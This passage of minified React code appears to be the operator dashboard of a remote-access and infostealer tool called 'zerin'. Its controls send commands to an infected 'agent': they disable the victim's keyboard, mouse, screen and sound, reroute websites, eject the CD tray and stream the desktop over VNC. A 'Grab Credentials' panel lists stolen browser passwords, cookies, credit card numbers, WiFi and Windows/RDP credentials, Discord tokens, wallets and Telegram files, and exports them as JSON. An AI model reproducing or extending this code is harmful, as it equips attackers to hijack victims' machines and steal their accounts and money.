text-zerin-text-muted/50 uppercase",children:"Actions"})}),a.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[a.jsx(Xs,{icon:a.jsx(aV,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),a.jsx(Xs,{icon:a.jsx(sV,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),a.jsx(Xs,{icon:a.jsx(oV,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>z(!0)}),a.jsx(Xs,{icon:a.jsx(lV,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>T(!0)}),a.jsx(Xs,{icon:a.jsx(cV,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>le("troll_cd_tray")})]}),a.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),a.jsxs("div",{className:"flex flex-col gap-2",children:[a.jsx(Ri,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:we}),a.jsx(Ri,{label:"Swap Mouse",active:G,color:"#f59e0b",onToggle:()=>Ne(G,R,"troll_swapmouse"),invert:!0}),a.jsx(Ri,{label:"Sound",active:!K,color:"#8b5cf6",onToggle:()=>Ne(K,_,"troll_disablesound")}),a.jsx(Ri,{label:"Screen",active:!M,color:"#ef4444",onToggle:()=>Ne(M,F,"troll_blackscreen")}),a.jsx(Ri,{label:"Keyboard",active:!U,color:"#10b981",onToggle:()=>Ne(U,V,"troll_disablekeyboard")}),a.jsx(Ri,{label:"Mouse",active:!Z,color:"#ec4899",onToggle:()=>Ne(Z,ae,"troll_disablemouse")}),a.jsx(Ri,{label:"Internet",active:!ue,color:"#06b6d4",onToggle:()=>Ne(ue,be,"troll_reroutesites")})]})]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),te&&r?a.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):ne?a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),a.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:te?"Waiting for frame...":"Connecting to desktop..."}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:a.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),a.jsx("button",{onClick:()=>B(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&a.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),p&&a.jsxs(ac,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),a.jsx("input",{type:"text",value:x,onChange:H=>g(H.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r
|
||
placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),a.jsx("textarea",{value:y,onChange:H=>v(H.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r
|
||
placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),a.jsx(sc,{onCancel:()=>h(!1),onSend:Ae,color:"#f59e0b",disabled:!y.trim()})]}),b&&a.jsxs(ac,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),a.jsx("textarea",{value:j,onChange:H=>N(H.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r
|
||
placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>w(!1),onSend:$,color:"#8b5cf6",disabled:!j.trim()})]}),k&&a.jsxs(ac,{title:"Open Website",color:"#06b6d4",onClose:()=>z(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),a.jsx("input",{type:"text",value:S,onChange:H=>O(H.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r
|
||
placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>z(!1),onSend:fe,color:"#06b6d4",disabled:!S.trim()||S==="https://"})]}),A&&a.jsxs(ac,{title:"Change Wallpaper",color:"#10b981",onClose:()=>T(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),a.jsx("input",{type:"text",value:P,onChange:H=>D(H.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r
|
||
placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>T(!1),onSend:ve,color:"#10b981",disabled:!P.trim()})]})]})}function Xs({icon:e,label:t,desc:n,color:r,onClick:i}){return a.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:s=>{s.currentTarget.style.background=`${r}08`,s.currentTarget.style.borderLeft=`2px solid ${r}40`,s.currentTarget.style.paddingLeft="10px"},onMouseLeave:s=>{s.currentTarget.style.background="transparent",s.currentTarget.style.borderLeft="none",s.currentTarget.style.paddingLeft="12px"},children:[a.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:a.jsx("div",{style:{color:`${r}cc`},children:e})}),a.jsxs("div",{className:"min-w-0",children:[a.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),a.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function ac({title:e,color:t,onClose:n,children:r}){return a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:a.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[a.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),a.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),a.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function sc({onCancel:e,onSend:t,color:n,disabled:r}){return a.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[a.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r
|
||
hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r
|
||
disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Ri({label:e,active:t,color:n,onToggle:r,invert:i}){const s=t;return a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),a.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:s?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${s?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:a.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:s?"18px":"2px",background:s?n:"#ef4444",boxShadow:`0 0 6px ${s?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function aV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function sV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function oV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function lV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function cV(){return a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[a.jsx("circle",{cx:"12",cy:"12",r:"9"}),a.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function uV({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var k,z,S,O,A,T,P,D,G,R,K,_,M,F,U,V,Z,ae,ue,be,ye,q,te,C,Y,ne,B,le,we,Ne,Ae,$,fe,ve,H,se,W,Q,he,E,ce,J,xe,ke,ze;const[i,s]=m.useState(null),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(new Set),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useRef(!1);m.useEffect(()=>{n&&!x.current&&!p&&(x.current=!0,y(),r==null||r())},[n]);const g=X=>{f(re=>{const oe=new Set(re);return oe.has(X)?oe.delete(X):oe.add(X),oe})},y=m.useCallback(async()=>{if(!p){l(!0),u(""),s(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:X}=await Me(e,{command:"creds"});let re=0;h.current=setInterval(async()=>{var oe,Oe,et,L,ie,de,lt,Ct,Lt,gr,Qr,Li,As;re++;try{const Jr=(oe=(await Xn(e)).results)==null?void 0:oe.find(bt=>bt.task_id===X);if(Jr){if(h.current&&clearInterval(h.current),h.current=null,l(!1),Jr.error){u(Jr.error);return}if(Jr.output)try{const bt=JSON.parse(Jr.output);s(bt);const rn=new Set;(Oe=bt.chrome_passwords)!=null&&Oe.length&&rn.add("chrome_passwords"),(et=bt.firefox_passwords)!=null&&et.length&&rn.add("firefox_passwords"),(L=bt.wifi)!=null&&L.length&&rn.add("wifi"),(ie=bt.windows_credentials)!=null&&ie.length&&rn.add("windows_credentials"),(de=bt.discord_tokens)!=null&&de.length&&rn.add("discord_tokens"),(lt=bt.wallets)!=null&<.length&&rn.add("wallets"),(Ct=bt.vpn)!=null&&Ct.length&&rn.add("vpn"),((Lt=bt.steam)!=null&&Lt.found||(gr=bt.epic)!=null&&gr.found||(Qr=bt.minecraft)!=null&&Qr.length||(Li=bt.roblox)!=null&&Li.found)&&rn.add("gaming"),(As=bt.errors)!=null&&As.length&&rn.add("errors"),f(rn)}catch{u("Failed to parse credential data")}}else re>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(X){l(!1),u(X instanceof Error?X.message:"Failed to submit task")}}},[e,p]),[v,b]=m.useState(null),w=(X,re)=>{navigator.clipboard.writeText(X).then(()=>{const oe=re?re.clientX:window.innerWidth/2,Oe=re?re.clientY-30:window.innerHeight/2;b({text:"Copied!",x:oe,y:Oe}),setTimeout(()=>b(null),1200)}).catch(()=>{})},j=(X,re)=>{try{const oe=atob(X),Oe=new Uint8Array(oe.length);for(let de=0;de<oe.length;de++)Oe[de]=oe.charCodeAt(de);const et=new Blob([Oe],{type:"application/octet-stream"}),L=URL.createObjectURL(et),ie=document.createElement("a");ie.href=L,ie.download=re,ie.click(),URL.revokeObjectURL(L)}catch{}},N=()=>{if(!i)return;const X=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),re=URL.createObjectURL(X),oe=document.createElement("a");oe.href=re,oe.download=`credentials_${e.slice(0,8)}.json`,oe.click(),URL.revokeObjectURL(re)};return a.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:y,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium\r
|
||
bg-zerin-accent hover:bg-zerin-accent-hover text-white\r
|
||
px-4 py-2 transition-colors\r
|
||
disabled:opacity-30 disabled:cursor-not-allowed`,children:o?a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&a.jsxs("button",{onClick:N,className:`inline-flex items-center gap-1.5 text-sm font-medium\r
|
||
text-zerin-text-dim hover:text-zerin-text\r
|
||
bg-zerin-panel hover:bg-zerin-panel-hover\r
|
||
border border-zerin-panel-border\r
|
||
px-3 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&a.jsxs("div",{className:"space-y-2",children:[a.jsx(Rn,{title:"Browser Passwords",count:(((k=i.chrome_passwords)==null?void 0:k.length)??0)+(((z=i.firefox_passwords)==null?void 0:z.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:X.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.username,oe),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})]})}),a.jsx(Rn,{title:"Browser Cookies",count:((S=i.chrome_cookies)==null?void 0:S.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(O=i.chrome_cookies)!=null&&O.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.value,oe),children:[X.value.slice(0,40),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx(Rn,{title:"Credit Cards",count:((A=i.chrome_cards)==null?void 0:A.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(T=i.chrome_cards)!=null&&T.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:X.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.number,oe),children:X.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.exp})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx(Rn,{title:"WiFi Passwords",count:((P=i.wifi)==null?void 0:P.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(D=i.wifi)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:X.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password||"(none)"})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx(Rn,{title:"Windows Credentials",count:((G=i.windows_credentials)==null?void 0:G.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(R=i.windows_credentials)!=null&&R.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((X,re)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${X.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[X.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),X.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.username,oe),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx(Rn,{title:"Discord Tokens",count:((K=i.discord_tokens)==null?void 0:K.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(_=i.discord_tokens)!=null&&_.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:oe=>w(X.token,oe),children:[X.token.slice(0,20),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx(Rn,{title:"Applications",count:((M=i.telegram)!=null&&M.found?1:0)+(((F=i.filezilla)==null?void 0:F.length)??0)+(((U=i.winscp)==null?void 0:U.length)??0)+(((V=i.putty)==null?void 0:V.length)??0)+(((Z=i.outlook)==null?void 0:Z.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?a.jsxs("div",{children:[a.jsxs("p",{className:"text-xs text-zerin-text font-mono mb-1",children:["Found at: ",a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:X=>w(i.telegram.path,X),children:i.telegram.path})]}),(((ae=i.telegram.files)==null?void 0:ae.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:i.telegram.files.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
||
